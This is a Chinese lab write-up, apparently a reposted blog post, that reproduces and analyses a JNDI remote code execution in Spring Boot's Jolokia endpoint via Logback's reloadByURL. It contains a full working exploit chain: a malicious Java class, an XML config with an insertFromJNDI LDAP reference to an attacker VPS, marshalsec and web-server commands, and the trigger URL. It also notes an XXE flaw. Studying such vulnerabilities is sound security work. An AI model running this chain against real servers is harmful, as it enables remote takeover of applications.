当前位置: 代码迷 >> 综合 >> jolokia logback JNDI RCE
  详细解决方案

jolokia logback JNDI RCE

热度:89   发布时间:2023-11-26 20:57:47.0

jolokia logback JNDI RCE

环境:

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce

IDEA打开配置一个Spring Boot程序就可以跑了
image-20211208093515054

漏洞前情

利用条件:

  1. 目标网站存在 /jolokia/actuator/jolokia 接口
  2. 目标使用了 jolokia-core 依赖并且环境中存在相关 MBean(如 ch.qos.logback.classic.jmx.JMXConfigurator

复现过程:

  1. 访问 http://localhost:9094/jolokia/list 查看所有的MBean,看是否存在ch.qos.logback.classic.jmx.JMXConfigurator 以及 reloadByURL 关键字,存在则可以尝试利用

  2. 编写恶意类 Evil.java ,并用 javac Evil.java 对恶意类进行编译成 Evil.class ,放在 VPS 上

    public class Evil{
          public Evil() throws Exception{
          Runtime.getRuntime().exec("calc.exe");}
    }
    
  3. 编写 example.xml 文件,放在 VPS 和 Evil.class 同目录下(把 your-vps-ip 换成 VPS 地址即可)

    <configuration><insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
    </configuration>
    
  4. 用 python 在 VPS 上开启一个web服务,要在 Evil.class 同目录下开启web服务,让 Evil.classexample.xml 在 web 根目录

    python2 -m SimpleHTTPServer 80
    python3 -m http.server 80
    
  5. 使用 marshalsec 在 VPS 上架设一个 LDAP 服务

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.141:80/#Evil 1389
    
  6. 访问 http://localhost:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.43.141!/example.xml 弹出计算机

漏洞分析

漏洞简述:

jolokia的 JMXConfigurator#reloadByURL 方法允许从外部URL地址重新加载日志的记录配置,上面的POC就是相当于调用 ch.qos.logback.classic.jmx.JMXConfigurator#reloadByURL 方法去加载 http://192.168.43.141/example.xml 外部URL地址指向的文件并进行xml解析,解析xml的时候没有任何防护,所以也存在xxe漏洞。回看到我们上面的xml文件,里面存在一个 insertFromJNDI 标签,如果 logback 读取到该标签,就会对标签实例化一个 InsertFromJNDIAction 对象,调用该对象的 begin 方法,begin 方法方法会生成上下文进行目标请求,也就是请求ldap服务!

代码分析:

在 JolokiaMvcEndpoint 类看 jolokia 是如何注册的,只要第一个 path 节点为 jolokia,则所有请求都会经过 handle 方法
image-20211208095111059
JmxRequestFactory#createGetRequest 方法中,通过 EscapeUtil.extractElementsFromPath 把我们的path节点按照 / 为分隔符进行分割,但是 POC 中协议中需要有 / ,怎么办?只要 !/ 这样就能保留 /
image-20211208095928226
JMXConfigurator#reloadByURL 方法中调用 configurator.doConfigure 方法
image-20211208100144073
跟进这个方法,先和 url 建立连接,再获取 url 指向资源的内容,也就是 VPS 上的xml文件,获取到输入流赋值给 in 变量,然后再调用 doConfigure 方法
image-20211208100411632
跟进 doConfigure 方法,其再调用 doConfigure 方法
image-20211208100456697
继续跟进,通过 recordEvents 方法解析xml内容
image-20211208100550620
跟进 recordEvents 方法,通过 buildSaxParser 和 saxParser.parse 解析,解析完后 saxEventList 就是xml文件里面的内容
image-20211208100921897
跟进 buildSaxParser 方法,看到其解析xml文件没有任何防护,所以这里也存在xxe漏洞
image-20211208100712330
解析完 xml 文件内容之后,再次调用 doConfigure 方法,传入参数为解析出来的xml文件内容
image-20211208101030929
跟进,其调用了 play 方法
image-20211208101100485
跟进 play 方法,这里对解析出来的xml文件内容进行遍历,第二次遍历就遍历到LDAP,调用startElement方法
image-20211208101256052
跟进 startElement 方法,调用startElement方法
image-20211208101324582
跟进startElement方法,其调用callBeginAction方法
image-20211208101402588
跟进callBeginAction方法,调用begin方法
image-20211208101453247
跟进 begin方法,可以看到调用 JNDIUtil.lookup 方法访问恶意ldap服务
image-20211208101546308

总结

一开始调试代码总是看不懂,感觉有太多的干扰代码了,其实那些干扰代码不用去看也行的,看那些漏洞关键点的代码理清大概流程和逻辑!

Reference:

https://www.cnblogs.com/zpchcbd/p/15542705.html
https://xz.aliyun.com/t/4258
https://github.com/mpgn/Spring-Boot-Actuator-Exploit

  相关解决方案